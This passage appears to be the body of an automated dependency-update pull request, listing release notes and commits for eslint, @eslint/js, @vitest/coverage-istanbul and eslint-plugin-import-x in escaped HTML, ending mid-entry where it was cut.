`@eslint/js` from 9.39.4 to 9.39.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003e@​eslint/js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.39.5\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21065\"\u003e#21065\u003c/a\u003e) (Eric)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20894\"\u003e#20894\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20828\"\u003e#20828\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21077\"\u003e#21077\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21074\"\u003e#21074\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21068\"\u003e#21068\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20895\"\u003e#20895\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daee8ba3082afbc94d3b69ddc129d4dc664716f2\"\u003e\u003ccode\u003edaee8ba\u003c/code\u003e\u003c/a\u003e ci: use pnpm in \u003ccode\u003eeslint-flat-config-utils\u003c/code\u003e type integration test (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20829\"\u003e#20829\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/116d4bec7c0ddaeaa75f92fb1271a4ab70d24ce3\"\u003e\u003ccode\u003e116d4be\u003c/code\u003e\u003c/a\u003e ci: unpin Node.js 25.x in CI (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20619\"\u003e#20619\u003c/a\u003e) (Copilot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eslint/eslint/commits/v9.39.5/packages/js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-istanbul` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-istanbul's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/coverage-istanbul\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.4 to 9.39.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.39.5\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21065\"\u003e#21065\u003c/a\u003e) (Eric)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20894\"\u003e#20894\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20828\"\u003e#20828\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21077\"\u003e#21077\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21074\"\u003e#21074\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21068\"\u003e#21068\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20895\"\u003e#20895\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daee8ba3082afbc94d3b69ddc129d4dc664716f2\"\u003e\u003ccode\u003edaee8ba\u003c/code\u003e\u003c/a\u003e ci: use pnpm in \u003ccode\u003eeslint-flat-config-utils\u003c/code\u003e type integration test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20829\"\u003e#20829\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/116d4bec7c0ddaeaa75f92fb1271a4ab70d24ce3\"\u003e\u003ccode\u003e116d4be\u003c/code\u003e\u003c/a\u003e ci: unpin Node.js 25.x in CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20619\"\u003e#20619\u003c/a\u003e) (Copilot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4a24e8c09d374d773a034e36b1d7a7fbe1216478\"\u003e\u003ccode\u003e4a24e8c\u003c/code\u003e\u003c/a\u003e 9.39.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1fba874a1d011283904b403ee57ec0fa00c062a9\"\u003e\u003ccode\u003e1fba874\u003c/code\u003e\u003c/a\u003e Build: changelog update for 9.39.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21077\"\u003e#21077\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21\"\u003e#21\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21065\"\u003e#21065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21068\"\u003e#21068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20894\"\u003e#20894\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20895\"\u003e#20895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20828\"\u003e#20828\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.4...v9.39.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-import-x` from 4.16.2 to 4.17.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/releases\"\u003eeslint-plugin-import-x's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/498\"\u003e#498\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/marcalexiei\"\u003e\u003ccode\u003e@​marcalexiei\u003c/code\u003e\u003c/a\u003e! - fix(extensions): don't require an extension for package subpaths that resolve to a \u003ccode\u003e.d.ts\u003c/code\u003e (e.g. \u003ccode\u003evitest/config\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/474\"\u003e#474\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/4b2c0c50577ba5b38823fb6d2b1f7e0e2cb9b760\"\u003e\u003ccode\u003e4b2c0c5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/regseb\"\u003e\u003ccode\u003e@​regseb\u003c/code\u003e\u003c/a\u003e! - Support \u003ccode\u003eRegExp\u003c/code\u003e in the \u003ccode\u003eimport-x/ignore\u003c/code\u003e setting and the \u003ccode\u003eignore\u003c/code\u003e option of the \u003ccode\u003eno-unresolved\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/494\"\u003e#494\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/morgan-coded\"\u003e\u003ccode\u003e@​morgan-coded\u003c/code\u003e\u003c/a\u003e! - Fixed \u003ccode\u003eno-unresolved\u003c/code\u003e crashing when case-sensitive path checks encounter \u003ccode\u003eEACCES\u003c/code\u003e or \u003ccode\u003eEPERM\u003c/code\u003e on an ancestor directory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/481\"\u003e#481\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/B4nan\"\u003e\u003ccode\u003e@​B4nan\u003c/code\u003e\u003c/a\u003e! - fix: memoize legacyNodeResolve resolver to avoid native memory leak\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/484\"\u003e#484\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/sairus2k\"\u003e\u003ccode\u003e@​sairus2k\u003c/code\u003e\u003c/a\u003e! - Make the \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (specifiers starting with \u003ccode\u003e#\u003c/code\u003e, e.g. \u003ccode\u003e#utils/helper\u003c/code\u003e). Previously \u003ccode\u003eparsePath\u003c/code\u003e treated a leading \u003ccode\u003e#\u003c/code\u003e as a URL hash fragment, so the rule skipped extension validation for these imports.\u003c/p\u003e\n\u003cp\u003eNote: single-segment subpath imports without a slash (e.g. \u003ccode\u003e#dep\u003c/code\u003e) are still skipped by the existing external-root-module classification; fixing that is deferred to avoid expanding scope.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/468\"\u003e#468\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/240ed58cb3d699c5107af065d8482a5c902a2f95\"\u003e\u003ccode\u003e240ed58\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/silverwind\"\u003e\u003ccode\u003e@​silverwind\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003eextensions\u003c/code\u003e handle \u003ccode\u003e.d.ts\u003c/code\u003e correctly\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/479\"\u003e#479\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e! - fix: strip querystrings and hash fragments when checking for file existence\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/476\"\u003e#476\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/nbouvrette\"\u003e\u003ccode\u003e@​nbouvrette\u003c/code\u003e\u003c/a\u003e! - fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/blob/master/CHANGELOG.md\"\u003eeslint-plugin-import-x's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/498\"\u003e#498\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/marcalexiei\"\u003e\u003ccode\u003e@​marcalexiei\u003c/code\u003e\u003c/a\u003e! - fix(extensions): don't require an extension for package subpaths that resolve to a \u003ccode\u003e.d.ts\u003c/code\u003e (e.g. 